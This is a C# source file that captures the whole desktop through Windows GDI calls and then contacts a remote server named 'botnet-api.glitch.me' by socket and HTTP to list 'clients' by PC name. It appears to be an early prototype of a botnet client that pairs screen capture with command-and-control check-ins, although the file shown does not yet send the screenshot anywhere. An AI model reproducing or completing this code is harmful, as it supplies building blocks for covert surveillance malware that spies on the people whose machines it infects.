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@Zerumi
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using System;
using System.Runtime.InteropServices;
using System.Drawing;
using System.Drawing.Imaging;
using System.Windows.Forms;
using System.Diagnostics;
using System.Net.Sockets;
using System.Net;
using System.Text;
using System.Net.Http;
using System.Threading.Tasks;
using System.Web.Script.Serialization;
using System.Web.UI.WebControls;
namespace ScreenSharing
{
/// <summary>
/// Provides functions to capture the entire screen, or a particular window, and save it to a file.
/// </summary>
public class ScreenCapture
{
/// <summary>
/// Creates an Image object containing a screen shot of the entire desktop
/// </summary>
/// <returns></returns>
public Image CaptureScreen()
{
return CaptureWindow(User32.GetDesktopWindow());
}
/// <summary>
/// Creates an Image object containing a screen shot of a specific window
/// </summary>
/// <param name="handle">The handle to the window. (In windows forms, this is obtained by the Handle property)</param>
/// <returns></returns>
public Image CaptureWindow(IntPtr handle)
{
// get te hDC of the target window
IntPtr hdcSrc = User32.GetWindowDC(handle);
// get the size
User32.RECT windowRect = new User32.RECT();
User32.GetWindowRect(handle, ref windowRect);
int width = windowRect.right - windowRect.left;
int height = windowRect.bottom - windowRect.top;
// create a device context we can copy to
IntPtr hdcDest = GDI32.CreateCompatibleDC(hdcSrc);
// create a bitmap we can copy it to,
// using GetDeviceCaps to get the width/height
IntPtr hBitmap = GDI32.CreateCompatibleBitmap(hdcSrc, width, height);
// select the bitmap object
IntPtr hOld = GDI32.SelectObject(hdcDest, hBitmap);
// bitblt over
GDI32.BitBlt(hdcDest, 0, 0, width, height, hdcSrc, 0, 0, GDI32.SRCCOPY);
// restore selection
GDI32.SelectObject(hdcDest, hOld);
// clean up
GDI32.DeleteDC(hdcDest);
User32.ReleaseDC(handle, hdcSrc);
// get a .NET image object for it
Image img = Image.FromHbitmap(hBitmap);
// free up the Bitmap object
GDI32.DeleteObject(hBitmap);
return img;
}
/// <summary>
/// Captures a screen shot of a specific window, and saves it to a file
/// </summary>
/// <param name="handle"></param>
/// <param name="filename"></param>
/// <param name="format"></param>
public void CaptureWindowToFile(IntPtr handle, string filename, ImageFormat format)
{
Image img = CaptureWindow(handle);
img.Save(filename, format);
}
/// <summary>
/// Captures a screen shot of the entire desktop, and saves it to a file
/// </summary>
/// <param name="filename"></param>
/// <param name="format"></param>
public void CaptureScreenToFile(string filename, ImageFormat format)
{
Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
Image img = CaptureScreen();
stopwatch.Stop();
MessageBox.Show(Convert.ToString(stopwatch.ElapsedMilliseconds));
img.Save(filename, format);
}
/// <summary>
/// Helper class containing Gdi32 API functions
/// </summary>
private class GDI32
{
public const int SRCCOPY = 0x00CC0020; // BitBlt dwRop parameter
[DllImport("gdi32.dll")]
public static extern bool BitBlt(IntPtr hObject, int nXDest, int nYDest,
int nWidth, int nHeight, IntPtr hObjectSource,
int nXSrc, int nYSrc, int dwRop);
[DllImport("gdi32.dll")]
public static extern IntPtr CreateCompatibleBitmap(IntPtr hDC, int nWidth,
int nHeight);
[DllImport("gdi32.dll")]
public static extern IntPtr CreateCompatibleDC(IntPtr hDC);
[DllImport("gdi32.dll")]
public static extern bool DeleteDC(IntPtr hDC);
[DllImport("gdi32.dll")]
public static extern bool DeleteObject(IntPtr hObject);
[DllImport("gdi32.dll")]
public static extern IntPtr SelectObject(IntPtr hDC, IntPtr hObject);
}
/// <summary>
/// Helper class containing User32 API functions
/// </summary>
private class User32
{
[StructLayout(LayoutKind.Sequential)]
public struct RECT
{
public int left;
public int top;
public int right;
public int bottom;
}
[DllImport("user32.dll")]
public static extern IntPtr GetDesktopWindow();
[DllImport("user32.dll")]
public static extern IntPtr GetWindowDC(IntPtr hWnd);
[DllImport("user32.dll")]
public static extern IntPtr ReleaseDC(IntPtr hWnd, IntPtr hDC);
[DllImport("user32.dll")]
public static extern IntPtr GetWindowRect(IntPtr hWnd, ref RECT rect);
}
class Program
{
[STAThread]
static async Task Main(string[] args)
{
Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
Image img = new ScreenCapture().CaptureScreen();
stopwatch.Stop();
MessageBox.Show(Convert.ToString(stopwatch.ElapsedMilliseconds));
stopwatch.Restart();
var socket_response = GetSocket.SocketSendReceive("botnet-api.glitch.me", 3000, "GET /api/v1/client\r\n\r\n");
stopwatch.Stop();
Console.WriteLine("Socket: " + socket_response + $" // {stopwatch.ElapsedMilliseconds}");
stopwatch.Restart();
var api_response = await ApiRequest.GetProductAsync<Client[]>("/api/v1/client");
stopwatch.Stop();
Console.WriteLine("ApiRequest: " + api_response + $" // {stopwatch.ElapsedMilliseconds}");
}
}
class Client
{
public string id { get; set; }
public string nameofpc { get; set; }
}
static class ApiRequest
{
public static async Task<T> GetProductAsync<T>(string path)
{
HttpClient client = new HttpClient();
client.BaseAddress = new Uri("http://botnet-api.glitch.me/");
T product = default;
HttpResponseMessage response = await client.GetAsync(path);
if (response.IsSuccessStatusCode)
{
product = await response.Content.ReadAsAsync<T>();
}
return product;
}
}
public class GetSocket
{
// Synchronous connect using host name (resolved by the
// Connect call.)
public static Socket Connect3(string host, int port)
{
Socket s = new Socket(AddressFamily.InterNetwork,
SocketType.Stream,
ProtocolType.Tcp);
Console.WriteLine("Establishing Connection to {0}",
host);
s.Connect(host, port);
Console.WriteLine("Connection established");
return s;
}
// This method requests the home page content for the specified server.
public static string SocketSendReceive(string server, int port, string request)
{
Byte[] bytesSent = Encoding.ASCII.GetBytes(request);
Byte[] bytesReceived = new Byte[256];
string page = string.Empty;
// Create a socket connection with the specified server and port.
using (Socket s = Connect3(server,port))
{
if (s == null)
return ("Connection failed");
// Send request to the server.
s.Send(bytesSent, bytesSent.Length, 0);
// Receive the server home page content.
int bytes = 0;
// The following will block until the page is transmitted.
do
{
bytes = s.Receive(bytesReceived, bytesReceived.Length, 0);
page = page + Encoding.ASCII.GetString(bytesReceived, 0, bytes);
}
while (bytes > 0);
}
return page;
}
}
}
}
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